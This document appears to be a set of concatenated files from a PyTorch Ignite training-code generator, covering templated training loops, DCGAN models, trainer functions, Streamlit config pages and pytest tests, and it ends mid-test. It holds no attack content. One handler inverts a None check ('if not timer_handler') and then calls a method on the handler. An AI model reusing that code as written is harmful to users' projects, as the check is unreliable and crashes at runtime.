------------------------------------------------------------- @trainer.on(Events.EPOCH_COMPLETED) def print_times(engine): if not timer_handler: logger.info(f"Epoch {engine.state.epoch} done. Time per batch: {timer_handler.value():.3f}[s]") timer_handler.reset() @trainer.on(Events.ITERATION_COMPLETED(every=config.log_every_iters)) @idist.one_rank_only() def print_logs(engine): fname = config.output_dir / LOGS_FNAME columns = ["iteration", ] + list(engine.state.metrics.keys()) values = [str(engine.state.iteration), ] + [str(round(value, 5)) for value in engine.state.metrics.values()] with open(fname, "a") as f: if f.tell() == 0: print("\t".join(columns), file=f) print("\t".join(values), file=f) message = f"[{engine.state.epoch}/{config.max_epochs}][{engine.state.iteration % len(train_dataloader)}/{len(train_dataloader)}]" for name, value in zip(columns, values): message += f" | {name}: {value}" # ------------------------------------------------------------- # adding handlers using `trainer.on` decorator API # ------------------------------------------------------------- @trainer.on(Events.EPOCH_COMPLETED) def create_plots(engine): try: import matplotlib as mpl mpl.use("agg") import matplotlib.pyplot as plt import pandas as pd except ImportError: warnings.warn("Loss plots will not be generated -- pandas or matplotlib not found") else: df = pd.read_csv(config.output_dir / LOGS_FNAME, delimiter="\t", index_col="iteration") _ = df.plot(subplots=True, figsize=(20, 20)) _ = plt.xlabel("Iteration number") fig = plt.gcf() path = config.output_dir / PLOT_FNAME fig.savefig(path) # -------------------------------- # print metrics to the stderr # with `add_event_handler` API # for training stats # -------------------------------- trainer.add_event_handler(Events.ITERATION_COMPLETED(every=config.log_every_iters), log_metrics, tag="train") # ------------------------------------------ # setup if done. let's run the training # ------------------------------------------ trainer.run(train_dataloader, max_epochs=config.max_epochs, epoch_length=config.train_epoch_length) # ------------------------------------------------------------ # close the logger after the training completed / terminated # ------------------------------------------------------------ if rank == 0: from ignite.contrib.handlers.wandb_logger import WandBLogger if isinstance(logger_handler, WandBLogger): # why handle differently for wandb ? # See : https://github.com/pytorch/ignite/issues/1894 logger_handler.finish() elif logger_handler: logger_handler.close() # ----------------------------------------- # where is my best and last checkpoint ? # ----------------------------------------- if best_model_handler is not None: logger.info("Last and best checkpoint: %s", best_model_handler.last_checkpoint) def main(): parser = ArgumentParser(parents=[get_default_parser()]) config = parser.parse_args() with idist.Parallel( backend=config.backend, {% if use_distributed_training and not use_distributed_launcher %} nproc_per_node=config.nproc_per_node, {% if nnodes > 1 and not use_distributed_launcher%} node_rank=config.node_rank, nnodes=config.nnodes, master_addr=config.master_addr, master_port=config.master_port, {% endif %} {% endif %} ) as parallel: parallel.run(run, config=config) if __name__ == "__main__": main() --- FILE SEPARATOR --- from torch import nn class Net(nn.Module): """A base class for both generator and the discriminator. Provides a common weight initialization scheme. """ def weights_init(self): for m in self.modules(): classname = m.__class__.__name__ if "Conv" in classname: m.weight.data.normal_(0.0, 0.02) elif "BatchNorm" in classname: m.weight.data.normal_(1.0, 0.02) m.bias.data.fill_(0) def forward(self, x): return x class Generator(Net): """Generator network. Args: nf (int): Number of filters in the second-to-last deconv layer """ def __init__(self, z_dim, nf, nc): super(Generator, self).__init__() self.net = nn.Sequential( # input is Z, going into a convolution nn.ConvTranspose2d(in_channels=z_dim, out_channels=nf * 8, kernel_size=4, stride=1, padding=0, bias=False), nn.BatchNorm2d(nf * 8), nn.ReLU(inplace=True), # state size. (nf*8) x 4 x 4 nn.ConvTranspose2d(in_channels=nf * 8, out_channels=nf * 4, kernel_size=4, stride=2, padding=1, bias=False), nn.BatchNorm2d(nf * 4), nn.ReLU(inplace=True), # state size. (nf*4) x 8 x 8 nn.ConvTranspose2d(in_channels=nf * 4, out_channels=nf * 2, kernel_size=4, stride=2, padding=1, bias=False), nn.BatchNorm2d(nf * 2), nn.ReLU(inplace=True), # state size. (nf*2) x 16 x 16 nn.ConvTranspose2d(in_channels=nf * 2, out_channels=nf, kernel_size=4, stride=2, padding=1, bias=False), nn.BatchNorm2d(nf), nn.ReLU(inplace=True), # state size. (nf) x 32 x 32 nn.ConvTranspose2d(in_channels=nf, out_channels=nc, kernel_size=4, stride=2, padding=1, bias=False), nn.Tanh() # state size. (nc) x 64 x 64 ) self.weights_init() def forward(self, x): return self.net(x) class Discriminator(Net): """Discriminator network. Args: nf (int): Number of filters in the first conv layer. """ def __init__(self, nc, nf): super(Discriminator, self).__init__() self.net = nn.Sequential( # input is (nc) x 64 x 64 nn.Conv2d(in_channels=nc, out_channels=nf, kernel_size=4, stride=2, padding=1, bias=False), nn.LeakyReLU(0.2, inplace=True), # state size. (nf) x 32 x 32 nn.Conv2d(in_channels=nf, out_channels=nf * 2, kernel_size=4, stride=2, padding=1, bias=False), nn.BatchNorm2d(nf * 2), nn.LeakyReLU(0.2, inplace=True), # state size. (nf*2) x 16 x 16 nn.Conv2d(in_channels=nf * 2, out_channels=nf * 4, kernel_size=4, stride=2, padding=1, bias=False), nn.BatchNorm2d(nf * 4), nn.LeakyReLU(0.2, inplace=True), # state size. (nf*4) x 8 x 8 nn.Conv2d(in_channels=nf * 4, out_channels=nf * 8, kernel_size=4, stride=2, padding=1, bias=False), nn.BatchNorm2d(nf * 8), nn.LeakyReLU(0.2, inplace=True), # state size. (nf*8) x 4 x 4 nn.Conv2d(in_channels=nf * 8, out_channels=1, kernel_size=4, stride=1, padding=0, bias=False), nn.Sigmoid(), ) self.weights_init() def forward(self, x): output = self.net(x) return output.view(-1, 1).squeeze(1) --- FILE SEPARATOR --- import os from argparse import Namespace from numbers import Number from typing import Iterable import ignite.distributed as idist import pytest import torch from datasets import get_datasets from ignite.engine import Engine from models import Discriminator, Generator from torch import nn, optim from torch.functional import Tensor from torch.utils.data import Dataset from trainers import train_function def set_up(): model = nn.Linear(1, 1) optimizer = optim.Adam(model.parameters()) device = idist.device() loss_fn = nn.MSELoss() batch = [torch.tensor([1.0]), torch.tensor([1.0])] return model, optimizer, device, loss_fn, batch @pytest.mark.skipif(os.getenv("RUN_SLOW_TESTS", 0) == 0, reason="Skip slow tests") def test_get_datasets(tmp_path): dataset, _ = get_datasets("cifar10", tmp_path) assert isinstance(dataset, Dataset) batch = next(iter(dataset)) assert isinstance(batch, Iterable) assert isinstance(batch[0], Tensor) assert isinstance(batch[1], Number) assert batch[0].ndim == 3 def test_models(): model_G = Generator(100, 64, 3) model_D = Discriminator(3, 64) x = torch.rand([1, 100, 32, 32]) y = model_G(x) y.sum().backward() z = model_D(y) assert y.shape == torch.Size([1, 3, 560, 560]) assert z.shape == torch.Size([1024]) assert isinstance(model_D, nn.Module) assert isinstance(model_G, nn.Module) def test_train_fn(): model, optimizer, device, loss_fn, batch = set_up() real_labels = torch.ones(2, device=device) fake_labels = torch.zeros(2, device=device) engine = Engine(lambda e, b: 1) config = Namespace(use_amp=False, batch_size=2, z_dim=100) output = train_function( config, engine, batch, model, model, loss_fn, optimizer, optimizer, device, real_labels, fake_labels, ) assert isinstance(output, dict) --- FILE SEPARATOR --- """ `trainer` and `evaluator` like trainer and evaluator """ from typing import Any import ignite.distributed as idist import torch from ignite.engine import Engine from torch.cuda.amp import autocast from torch.optim.optimizer import Optimizer # Edit below functions the way how the model will be training # train_function is how the model will be learning with given batch # below in the train_function, common parameters are provided # you can add any additional parameters depending on the training # NOTE : engine and batch parameters are needed to work with # Ignite's Engine. # TODO: Extend with your custom training. def train_function( config: Any, engine: Engine, batch: Any, netD: torch.nn.Module, netG: torch.nn.Module, loss_fn: torch.nn.Module, optimizerD: Optimizer, optimizerG: Optimizer, device: torch.device, real_labels: torch.Tensor, fake_labels: torch.Tensor, ): """Model training step. Parameters ---------- config config object engine Engine instance batch batch in current iteration netD discriminator model netG generator model loss_fn nn.Module loss optimizerD discriminator optimizer optimizerG generator optimizer device device to use for training real_labels real label tensor fake_labels fake label tensor Returns ------- dictionary of loss and output of generator and discriminator Keys: - errD - errG - D_x - D_G_z1 - D_G_z2 """ # unpack the batch. It comes from a dataset, so we have <images, labels> pairs. Discard labels. real = batch[0].to(device, non_blocking=True) netD.train() netG.train() # ----------------------------------------------------------- # (1) Update D network: maximize log(D(x)) + log(1 - D(G(z))) netD.zero_grad() # train with real with autocast(config.use_amp): output = netD(real) errD_real = loss_fn(output, real_labels) D_x = output.mean().item() errD_real.backward() # get fake image from generator ws = idist.get_world_size() noise = torch.randn(config.batch_size // ws, config.z_dim, 1, 1, device=device) fake = netG(noise) # train with fake with autocast(config.use_amp): output = netD(fake.detach()) errD_fake = loss_fn(output, fake_labels) D_G_z1 = output.mean().item() errD_fake.backward() # gradient update errD = errD_real + errD_fake optimizerD.step() # ----------------------------------------------------------- # (2) Update G network: maximize log(D(G(z))) netG.zero_grad() # Update generator. We want to make a step that will make it more likely that discriminator outputs "real" output = netD(fake) errG = loss_fn(output, real_labels) D_G_z2 = output.mean().item() errG.backward() # gradient update optimizerG.step() return {"errD": errD.item(), "errG": errG.item(), "D_x": D_x, "D_G_z1": D_G_z1, "D_G_z2": D_G_z2} # function for creating engines which will be used in main.py # any necessary arguments can be provided. def create_trainers(**kwargs) -> Engine: """Create Engines for training and evaluation. Parameters ---------- kwargs: keyword arguments passed to both train_function Returns ------- trainer """ trainer = Engine( lambda e, b: train_function( engine=e, batch=b, **kwargs, ) ) return trainer --- FILE SEPARATOR --- import sys import streamlit as st sys.path.append("./templates") from _base._sidebar import ( default_none_options, distributed_options, ignite_handlers_options, ignite_loggers_options, test_all_options, ) def dataset_options(config): st.markdown("## Dataset Options") config["data_path"] = st.text_input("Dataset path (data_path)", "./") st.markdown("---") def dataloader_options(config): st.markdown("## DataLoader Options") config["train_batch_size"] = st.number_input("Train batch size (train_batch_size)", min_value=1, value=16) config["eval_batch_size"] = st.number_input("Eval batch size (eval_batch_size)", min_value=1, value=16) config["num_workers"] = st.number_input("Number of workers (num_workers)", min_value=0, value=2) st.markdown("---") def optimizer_options(config): st.markdown("## Optimizer Options") config["lr"] = st.number_input( "Learning rate used by torch.optim.* (lr)", min_value=0.0, value=1e-3, format="%e", ) config["momentum"] = st.number_input( "momentum used by torch.optim.SGD (momentum)", min_value=0.0, value=0.9, format="%e", ) config["weight_decay"] = st.number_input( "weight_decay used by torch.optim.SGD (weight_decay)", min_value=0.0, value=1e-4, format="%e", ) st.markdown("---") def training_options(config): st.markdown("## Training Options") config["max_epochs"] = st.number_input("Maximum epochs to train (max_epochs)", min_value=1, value=5) config["num_warmup_epochs"] = st.number_input( "number of warm-up epochs before learning rate decay (num_warmup_epochs)", min_value=1, value=4 ) st.markdown("---") def model_options(config): st.markdown("## Model Options") models = ( "resnet18", "alexnet", "vgg16", "squeezenet1_0", "densenet161", "inception_v3", "googlenet", "shufflenet_v2_x1_0", "mobilenet_v2", "mobilenet_v3_large", "mobilenet_v3_small", ) config["model"] = st.selectbox("Models", options=models) st.markdown("---") def get_configs(): config = {} config["train_epoch_length"] = None config["eval_epoch_length"] = None default_none_options(config) with st.beta_expander("Image Classification Template Configurations", expanded=True): st.info("Names in the parenthesis are variable names used in the generated code.") # group by configurations type model_options(config) dataset_options(config) dataloader_options(config) optimizer_options(config) training_options(config) distributed_options(config) ignite_handlers_options(config) ignite_loggers_options(config) test_all_options(config) return config --- FILE SEPARATOR --- import logging from argparse import ArgumentParser, Namespace from pathlib import Path from unittest.mock import MagicMock import pytest import torch from config import get_default_parser from ignite.contrib.handlers import ( ClearMLLogger, MLflowLogger, NeptuneLogger, PolyaxonLogger, TensorboardLogger, VisdomLogger, WandBLogger, ) from ignite.contrib.handlers.base_logger import BaseLogger from ignite.engine import Engine from ignite.handlers.checkpoint import Checkpoint from ignite.handlers.early_stopping import EarlyStopping from ignite.handlers.timing import Timer from ignite.utils import setup_logger from test_all import set_up from torch import nn, optim from trainers import ( create_trainers, evaluate_function, train_function, ) from utils import ( get_handlers, get_logger, hash_checkpoint, log_metrics, resume_from, setup_logging, ) def test_get_handlers(tmp_path): trainer = Engine(lambda e, b: b) config = Namespace( output_dir=tmp_path, save_every_iters=1, n_saved=2, log_every_iters=1, with_pbars=False, with_pbar_on_iters=False, stop_on_nan=False, clear_cuda_cache=False, with_gpu_stats=False, patience=1, limit_sec=30, ) bm_handler, es_handler, timer_handler = get_handlers( config=config, model=nn.Linear(1, 1), trainer=trainer, evaluator=trainer, metric_name="eval_loss", es_metric_name="eval_loss", ) assert isinstance(bm_handler, (type(None), Checkpoint)), "Should be Checkpoint or None" assert isinstance(es_handler, (type(None), EarlyStopping)), "Should be EarlyStopping or None" assert isinstance(timer_handler, (type(None), Timer)), "Shoulde be Timer or None" def test_get_logger(tmp_path): config = Namespace(output_dir=tmp_path, logger_log_every_iters=1) trainer = Engine(lambda e, b: b) optimizer = optim.Adam(nn.Linear(1, 1).parameters()) logger_handler = get_logger( config=config, trainer=trainer, evaluator=trainer, optimizers=optimizer, ) types = ( BaseLogger, ClearMLLogger, MLflowLogger, NeptuneLogger, PolyaxonLogger, TensorboardLogger, VisdomLogger, WandBLogger, type(None), ) assert isinstance(logger_handler, types), "Should be Ignite provided loggers or None" def test_evaluate_fn(): model, optimizer, device, loss_fn, batch = set_up() engine = Engine(lambda e, b: 1) config = Namespace(use_amp=False) output = evaluate_function(config, engine, batch, model, device) assert isinstance(output, tuple) def test_create_trainers(): model, optimizer, device, loss_fn, batch = set_up() trainer, evaluator = create_trainers( config=Namespace(use_amp=True), model=model, loss_fn=loss_fn, optimizer=optimizer, device=device, ) assert isinstance(trainer, Engine) assert isinstance(evaluator, Engine) def test_get_default_parser(): parser = get_default_parser() assert isinstance(parser, ArgumentParser) assert not parser.add_help def test_log_metrics(capsys): engine = Engine(lambda e, b: None) engine.logger = setup_logger(format="%(message)s") engine.run(list(range(100)), max_epochs=2) log_metrics(engine, "train") captured = capsys.readouterr() assert captured.err.split("\n")[-2] == "train [2/200]: {}" def test_setup_logging(tmp_path): config = Namespace(verbose=True, output_dir=tmp_path) logger = setup_logging(config) assert logger.level == logging.INFO assert isinstance(logger, logging.Logger) assert next(tmp_path.rglob("*.log")).is_file() def test_hash_checkpoint(tmp_path): # download lightweight model model = torch.hub.load("pytorch/vision", "squeezenet1_0") # jit it scripted_model = torch.jit.script(model) # save jitted model : find a jitted checkpoint torch.jit.save(scripted_model, f"{tmp_path}/squeezenet1_0.ckptc") # download un-jitted model torch.hub.download_url_to_file( "https://download.pytorch.org/models/squeezenet1_0-b66bff10.pth", f"{tmp_path}/squeezenet1_0.ckpt", ) checkpoint = f"{tmp_path}/squeezenet1_0.ckpt" hashed_fp, sha_hash = hash_checkpoint(checkpoint, False, tmp_path) model.load_state_dict(torch.load(hashed_fp), True) assert sha_hash[:8] == "b66bff10" assert hashed_fp.name == f"squeezenet1_0-{sha_hash[:8]}.pt" checkpoint = f"{tmp_path}/squeezenet1_0.ckptc" hashed_fp, sha_hash = hash_checkpoint(checkpoint, True, tmp_path) scripted_model = torch.jit.load(hashed_fp) assert hashed_fp.name == f"squeezenet1_0-{sha_hash[:8]}.ptc" def test_resume_from_url(tmp_path, caplog): logger = logging.getLogger() logging.basicConfig(level=logging.INFO) checkpoint_fp = "https://download.pytorch.org/models/squeezenet1_0-b66bff10.pth" model = torch.hub.load("pytorch/vision", "squeezenet1_0") to_load = {"model": model} with caplog.at_level(logging.INFO): resume_from(to_load, checkpoint_fp, logger, model_dir=tmp_path) assert "Successfully resumed from a checkpoint" in caplog.messages[0], "checkpoint fail to load" def test_resume_from_fp(tmp_path, caplog): logger = logging.getLogger() logging.basicConfig(level=logging.INFO) torch.hub.download_url_to_file( "https://download.pytorch.org/models/squeezenet1_0-b66bff10.pth", f"{tmp_path}/squeezenet1_0.pt", ) checkpoint_fp = f"{tmp_path}/squeezenet1_0.pt" model = torch.hub.load("pytorch/vision", "squeezenet1_0") to_load = {"model": model} with caplog.at_level(logging.INFO): resume_from(to_load, checkpoint_fp, logger) assert "Successfully resumed from a checkpoint" in caplog.messages[0], "checkpoint fail to load" torch.hub.download_url_to_file( "https://download.pytorch.org/models/squeezenet1_0-b66bff10.pth", f"{tmp_path}/squeezenet1_0.pt", ) checkpoint_fp = Path(f"{tmp_path}/squeezenet1_0.pt") model = torch.hub.load("pytorch/vision", "squeezenet1_0") to_load = {"model": model} with caplog.at_level(logging.INFO): resume_from(to_load, checkpoint_fp, logger) assert "Successfully resumed from a checkpoint" in caplog.messages[0], "checkpoint fail to load" def test_resume_from_error(): with pytest.raises(FileNotFoundError, match=r"Given \w+ does not exist"): resume_from({}, "abcdef/", None) --- FILE SEPARATOR --- {% extends "_argparse.py" %} {% block get_default_parser %} UPDATES = { # dataset options "data_path": { "default": "{{ data_path }}", "type": str, "help": "datasets path. Default: %(default)s", }, # dataloader options "train_batch_size": { "default": {{train_batch_size}}, "type": int, "help": "will be equally divided by number of GPUs if in distributed. Default: %(default)s", }, "eval_batch_size": { "default": {{eval_batch_size}}, "type": int, "help": "will be equally divided by number of GPUs if in distributed. Default: %(default)s", }, "num_workers": { "default": {{num_workers}}, "type": int, "help": "num_workers for DataLoader. Default: %(default)s", }, # optimizer options "lr": { "default": {{lr}}, "type": float, "help": "learning rate used by torch.optim.*. Default: %(default)s", }, "momentum": { "default": {{momentum}}, "type": float, "help": "momentum used by torch.optim.SGD. Default: %(default)s", }, "weight_decay": { "default": {{weight_decay}}, "type": float, "help": "weight_decay used by torch.optim.SGD. Default: %(default)s", }, # training options "max_epochs": { "default": {{max_epochs}}, "type": int, "help": "max_epochs of ignite.Engine.run() for training. Default: %(default)s", }, "num_warmup_epochs": { "default": {{num_warmup_epochs}}, "type": int, "help": "number of warm-up epochs before learning rate decay. Default: %(default)s", }, # model options "model": { "default": "{{model}}", "type": str, "help": "model to use, available all torchvision classification models. Default: %(default)s", } } DEFAULTS.update(UPDATES) {{ super() }} {% endblock %} --- FILE SEPARATOR --- import ignite.distributed as idist from torchvision import datasets from torchvision.transforms import ( Compose, Normalize, Pad, RandomCrop, RandomHorizontalFlip, ToTensor, ) train_transform = Compose( [ Pad(4), RandomCrop(32, fill=128), RandomHorizontalFlip(), ToTensor(), Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225)), ] ) eval_transform = Compose( [ ToTensor(), Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225)), ] ) def get_datasets(path): local_rank = idist.get_local_rank() if local_rank > 0: # Ensure that only rank 0 download the dataset idist.barrier() train_ds = datasets.CIFAR10(root=path, train=True, download=True, transform=train_transform) eval_ds = datasets.CIFAR10(root=path, train=False, download=True, transform=eval_transform) if local_rank == 0: # Ensure that only rank 0 download the dataset idist.barrier() return train_ds, eval_ds --- FILE SEPARATOR --- from torch import nn from torchvision import models def get_model(name: str) -> nn.Module: if name in models.__dict__: fn = models.__dict__[name] else: raise RuntimeError(f"Unknown model name {name}") return fn(num_classes=10) --- FILE SEPARATOR --- import os from argparse import Namespace from numbers import Number from typing import Iterable import ignite.distributed as idist import pytest import torch from datasets import get_datasets from ignite.contrib.handlers.param_scheduler import ParamScheduler from ignite.engine import Engine from torch import nn, optim from torch.functional import Tensor from torch.optim.lr_scheduler import _LRScheduler from torch.utils.data import Dataset from trainers import evaluate_function from utils import initialize def set_up(): model = nn.Linear(1, 1) optimizer = optim.Adam(model.parameters()) device = idist.device() loss_fn = nn.MSELoss() batch = [torch.tensor([1.0]), torch.tensor([1.0])] return model, optimizer, device, loss_fn, batch @pytest.mark.skipif(os.getenv("RUN_SLOW_TESTS", 0) == 0, reason="Skip slow tests") def test_get_datasets(tmp_path): train_ds, eval_ds = get_datasets(tmp_path) assert isinstance(train_ds, Dataset) assert isinstance(eval_ds, Dataset) train_batch = next(iter(train_ds)) assert isinstance(train_batch, Iterable) assert isinstance(train_batch[0], Tensor) assert isinstance(train_batch[1], Number) assert train_batch[0].ndim == 3 eval_batch = next(iter(eval_ds)) assert isinstance(eval_batch, Iterable) assert isinstance(eval_batch[0], Tensor) assert isinstance(eval_batch[1], Number) assert eval_batch[0].ndim == 3 def test_evaluate_fn(): model, _, device, _, batch = set_up() engine = Engine(lambda e, b: 1) config = Namespace(use_amp=False) output = evaluate_function(config, engine, batch, model, device) assert isinstance(output, tuple) def test_initialize(): config = Namespace( model="squeezenet1_0", lr=1e-3, momentum=0.9, weight_decay=1e-4, num_iters_per_epoch=1, num_warmup_epochs=1, max_epochs=1, ) model, optimizer, loss_fn, lr_scheduler = initialize(config) assert isinstance(model, nn.Module) assert isinstance(optimizer, optim.Optimizer) assert isinstance(loss_fn, nn.Module) assert isinstance(lr_scheduler, (_LRScheduler, ParamScheduler)) --- FILE SEPARATOR --- """ `trainer` and `evaluator` like trainer and evaluator """ from typing import Any, Tuple import torch from ignite.engine import Engine from torch.cuda.amp import autocast from torch.optim.optimizer import Optimizer # Edit below functions the way how the model will be training # train_function is how the model will be learning with given batch # below in the train_function, common parameters are provided # you can add any additional parameters depending on the training # NOTE : engine and batch parameters are needed to work with # Ignite's Engine. # TODO: Extend with your custom training. def train_function( config: Any, engine: Engine, batch: Any, model: torch.nn.Module, loss_fn: torch.nn.Module, optimizer: Optimizer, device: torch.device, ) -> dict: """Model training step. Parameters ---------- config config object engine Engine instance batch batch in current iteration model nn.Module model loss_fn nn.Module loss optimizer torch optimizer device device to use for training Returns ------- training loss dict """ model.train() samples = batch[0].to(device, non_blocking=True) targets = batch[1].to(device, non_blocking=True) with autocast(enabled=config.use_amp): outputs = model(samples) loss = loss_fn(outputs, targets) loss.backward() optimizer.step() optimizer.zero_grad() loss_value = loss.item() engine.state.metrics = {"epoch": engine.state.epoch, "train_loss": loss_value} return {"train_loss": loss_value} # evaluate_function is how the model will be learning with given batch # below in the evaluate_function, common parameters are provided # you can add any additional parameters depending on the training # NOTE : engine and batch parameters are needed to work with # Ignite's Engine. # TODO: Extend with your custom evaluation. @torch.no_grad() def evaluate_function( config: Any, engine: Engine, batch: Any, model: torch.nn.Module, device: torch.device, ) -> Tuple[torch.Tensor]: """Model evaluating step. Parameters ---------- config config object engine Engine instance batch batch in current iteration model nn.Module model device device to use for training Returns ------- outputs, targets """ model.eval() samples = batch[0].to(device, non_blocking=True) targets = batch[1].to(device, non_blocking=True) with autocast(enabled=config.use_amp): outputs = model(samples) return outputs, targets # function for creating engines which will be used in main.py # any necessary arguments can be provided. def create_trainers(config, model, optimizer, loss_fn, device) -> Tuple[Engine, Engine]: """Create Engines for training and evaluation. Parameters ---------- config config object model nn.Module model loss_fn nn.Module loss optimizer torch optimizer device device to use for training Returns ------- trainer, evaluator """ trainer = Engine( lambda e, b: train_function( config=config, engine=e, batch=b, model=model, loss_fn=loss_fn, optimizer=optimizer, device=device ) ) evaluator = Engine( lambda e, b: evaluate_function( config=config, engine=e, batch=b, model=model, device=device ) ) return trainer, evaluator --- FILE SEPARATOR --- import sys import streamlit as st sys.path.append("./templates") from _base._sidebar import ( default_none_options, distributed_options, ignite_handlers_options, ignite_loggers_options, test_all_options, ) def get_configs(): config = {} config["train_epoch_length"] = None config["eval_epoch_length"] = None default_none_options(config) with st.beta_expander("Single Model, Single Optimizer Template Configurations", expanded=True): st.info("Names in the parenthesis are variable names used in the generated code.") # group by configurations type distributed_options(config) ignite_handlers_options(config) ignite_loggers_options(config) test_all_options(config) return config --- FILE SEPARATOR --- import logging from argparse import ArgumentParser, Namespace from numbers import Number from pathlib import Path from unittest.mock import MagicMock import ignite.distributed as idist import pytest import torch from config import get_default_parser from ignite.contrib.handlers import ( ClearMLLogger, MLflowLogger, NeptuneLogger, PolyaxonLogger, TensorboardLogger, VisdomLogger, WandBLogger, ) from ignite.contrib.handlers.base_logger import BaseLogger from ignite.engine.engine import Engine from ignite.handlers.checkpoint import Checkpoint from ignite.handlers.early_stopping import EarlyStopping from ignite.handlers.timing import Timer from ignite.utils import setup_logger from torch import nn, optim from trainers import ( TrainEvents, create_trainers, evaluate_function, train_events_to_attr, train_function, ) from utils import ( get_handlers, get_logger, hash_checkpoint, log_metrics, resume_from, setup_logging, ) def set_up(): model = nn.Linear(1, 1) optimizer = optim.Adam(model.parameters()) device = idist.device() loss_fn = nn.MSELoss() batch = [torch.tensor([1.0]), torch.tensor([1.0])] return model, optimizer, device, loss_fn, batch def test_get_handlers(tmp_path): trainer = Engine(lambda e, b: b) config = Namespace( output_dir=tmp_path, save_every_iters=1, n_saved=2, log_every_iters=1, with_pbars=False, with_pbar_on_iters=False, stop_on_nan=False, clear_cuda_cache=False, with_gpu_stats=False, patience=1, limit_sec=30, ) bm_handler, es_handler, timer_handler = get_handlers( config=config, model=nn.Linear(1, 1), trainer=trainer, evaluator=trainer, metric_name="eval_loss", es_metric_name="eval_loss", ) assert isinstance(bm_handler, (type(None), Checkpoint)), "Should be Checkpoint or None" assert isinstance(es_handler, (type(None), EarlyStopping)), "Should be EarlyStopping or None" assert isinstance(timer_handler, (type(None), Timer)), "Shoulde be Timer or None" def test_get_logger(tmp_path): config = Namespace(output_dir=tmp_path, logger_log_every_iters=1) trainer = Engine(lambda e, b: b) optimizer = optim.Adam(nn.Linear(1, 1).parameters()) logger_handler = get_logger( config=config, trainer=trainer, evaluator=trainer, optimizers=optimizer, ) types = ( BaseLogger, ClearMLLogger, MLflowLogger, NeptuneLogger, PolyaxonLogger, TensorboardLogger, VisdomLogger, WandBLogger, type(None), ) assert isinstance(logger_handler, types), "Should be Ignite provided loggers or None" def test_train_fn(): model, optimizer, device, loss_fn, batch = set_up() engine = Engine(lambda e, b: 1) engine.register_events(*TrainEvents, event_to_attr=train_events_to_attr) backward = MagicMock() optim = MagicMock() engine.add_event_handler(TrainEvents.BACKWARD_COMPLETED, backward) engine.add_event_handler(TrainEvents.OPTIM_STEP_COMPLETED, optim) config = Namespace(use_amp=False) output = train_function(config, engine, batch, model, loss_fn, optimizer, device) assert isinstance(output, Number) assert hasattr(engine.state, "backward_completed") assert hasattr(engine.state, "optim_step_completed") assert engine.state.backward_completed == 1 assert engine.state.optim_step_completed == 1 assert backward.call_count == 1 assert optim.call_count == 1 assert backward.called assert optim.called def test_train_fn_event_filter(): model, optimizer, device, loss_fn, batch = set_up() config = Namespace(use_amp=False) engine = Engine(lambda e, b: train_function(config, e, b, model, loss_fn, optimizer, device)) engine.register_events(*TrainEvents, event_to_attr=train_events_to_attr) backward = MagicMock() optim = MagicMock() engine.add_event_handler(TrainEvents.BACKWARD_COMPLETED(event_filter=lambda _, x: (x % 2 == 0) or x == 3), backward) engine.add_event_handler(TrainEvents.OPTIM_STEP_COMPLETED(event_filter=lambda _, x: (x % 2 == 0) or x == 3), optim) engine.run([batch] * 5) assert hasattr(engine.state, "backward_completed") assert hasattr(engine.state, "optim_step_completed") assert engine.state.backward_completed == 5 assert engine.state.optim_step_completed == 5 assert backward.call_count == 3 assert optim.call_count == 3 assert backward.called assert optim.called def test_train_fn_every(): model, optimizer, device, loss_fn, batch = set_up() config = Namespace(use_amp=False) engine = Engine(lambda e, b: train_function(config, e, b, model, loss_fn, optimizer, device)) engine.register_events(*TrainEvents, event_to_attr=train_events_to_attr) backward = MagicMock() optim = MagicMock() engine.add_event_handler(TrainEvents.BACKWARD_COMPLETED(every=2), backward) engine.add_event_handler(TrainEvents.OPTIM_STEP_COMPLETED(every=2), optim) engine.run([batch] * 5) assert hasattr(engine.state, "backward_completed") assert hasattr(engine.state, "optim_step_completed") assert engine.state.backward_completed == 5 assert engine.state.optim_step_completed == 5 assert backward.call_count == 2 assert optim.call_count == 2 assert backward.called assert optim.called def test_train_fn_once(): model, optimizer, device, loss_fn, batch = set_up() config = Namespace(use_amp=False) engine = Engine(lambda e, b: train_function(config, e, b, model, loss_fn, optimizer, device)) engine.register_events(*TrainEvents, event_to_attr=train_events_to_attr) backward = MagicMock() optim = MagicMock() engine.add_event_handler(TrainEvents.BACKWARD_COMPLETED(once=3), backward) engine.add_event_handler(TrainEvents.OPTIM_STEP_COMPLETED(once=3), optim) engine.run([batch] * 5) assert hasattr(engine.state, "backward_completed") assert hasattr(engine.state, "optim_step_completed") assert engine.state.backward_completed == 5 assert engine.state.optim_step_completed == 5 assert backward.call_count == 1 assert optim.call_count == 1 assert backward.called assert optim.called def test_evaluate_fn(): model, optimizer, device, loss_fn, batch = set_up() engine = Engine(lambda e, b: 1) config = Namespace(use_amp=False) output = evaluate_function(config, engine, batch, model, loss_fn, device) assert isinstance(output, Number) def test_create_trainers(): model, optimizer, device, loss_fn, batch = set_up() trainer, evaluator = create_trainers( config=Namespace(use_amp=True), model=model, loss_fn=loss_fn, optimizer=optimizer, device=device, ) assert isinstance(trainer, Engine) assert isinstance(evaluator, Engine) assert hasattr(trainer.state, "backward_completed") assert hasattr(trainer.state, "optim_step_completed") def test_get_default_parser(): parser = get_default_parser() assert isinstance(parser, ArgumentParser) assert not parser.add_help def test_log_metrics(capsys): engine = Engine(lambda e, b: None) engine.logger = setup_logger(format="%(message)s") engine.run(list(range(100)), max_epochs=2) log_metrics(engine, "train") captured = capsys.readouterr() assert captured.err.split("\n")[-2] == "train [2/200]: {}" def test_setup_logging(tmp_path): config = Namespace(verbose=True, output_dir=tmp_path) logger = setup_logging(config) assert logger.level == logging.INFO assert isinstance(logger, logging.Logger) assert next(tmp_path.rglob("*.log")).is_file() def test_hash_checkpoint(tmp_path): # download lightweight model model = torch.hub.load("pytorch/vision", "squeezenet1_0") # jit it scripted_model = torch.jit.script(model) # save jitted model : find a jitted checkpoint torch.jit.save(scripted_model, f"{tmp_path}/squeezenet1_0.ckptc") # download un-jitted model torch.hub.download_url_to_file( "https://download.pytorch.org/models/squeezenet1_0-b66bff10.pth", f"{tmp_path}/squeezenet1_0.ckpt", ) checkpoint = f"{tmp_path}/squeezenet1_0.ckpt" hashed_fp, sha_hash = hash_checkpoint(checkpoint, False, tmp_path) model.load_state_dict(torch.load(hashed_fp), True) assert sha_hash[:8] == "b66bff10" assert hashed_fp.name == f"squeezenet1_0-{sha_hash[:8]}.pt" checkpoint = f"{tmp_path}/squeezenet1_0.ckptc" hashed_fp, sha_hash = 